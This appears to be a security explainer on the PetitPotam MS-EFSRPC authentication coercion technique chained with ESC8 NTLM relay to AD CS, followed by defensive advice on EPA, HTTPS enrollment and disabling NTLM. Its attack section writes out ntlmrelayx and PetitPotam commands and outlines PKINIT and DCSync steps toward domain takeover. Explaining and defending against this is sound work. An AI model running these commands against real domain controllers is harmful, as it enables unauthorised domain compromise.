PetitPotam is an authentication coercion technique: using the MS-EFSRPC protocol, an attacker forces a target (often a domain controller) to authenticate to an attacker-controlled host. The captured machine authentication is then NTLM-relayed to an AD CS web enrollment endpoint (the ESC8 attack) to obtain a certificate for the DC, which the attacker uses to take over the domain. Defend by patching, hardening AD CS against NTLM relay, and disabling unneeded coercion surfaces.
What PetitPotam is
PetitPotam abuses the Encrypting File System Remote Protocol (MS-EFSRPC). Certain calls make the target connect and authenticate to a path the caller supplies, so an attacker can coerce a machine, including a domain controller, to authenticate to them. On its own that is just an authentication; its power comes from where the attacker relays it.
How the attack works
The attacker starts an NTLM relay to an AD CS web enrollment server (ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp --adcs), then coerces the DC with PetitPotam.py <attacker-ip> <dc-ip>. The DC's machine authentication is relayed to AD CS, which issues a certificate for the DC. The attacker then uses that certificate (via PKINIT) to authenticate as the DC and DCSync the domain. This chains PetitPotam with the ESC8 AD CS relay. Shown for defensive testing.
How to defend against it
Patch the coercion surface, and harden AD CS against NTLM relay: enable Extended Protection for Authentication (EPA) and require HTTPS on the CA web enrollment, or disable web enrollment if unused. Disable NTLM where you can, especially to the CA, and monitor for coercion patterns and unexpected certificate issuance to machine accounts.
References
- [1]MITRE ATT&CK Enterprise Matrix(MITRE ATT&CK)
- [2]Microsoft: Mitigating NTLM relay attacks on AD CS(Microsoft)
A coercible DC plus an exposed CA is a straight line to domain takeover. Talk to a security expert about testing your AD CS relay exposure.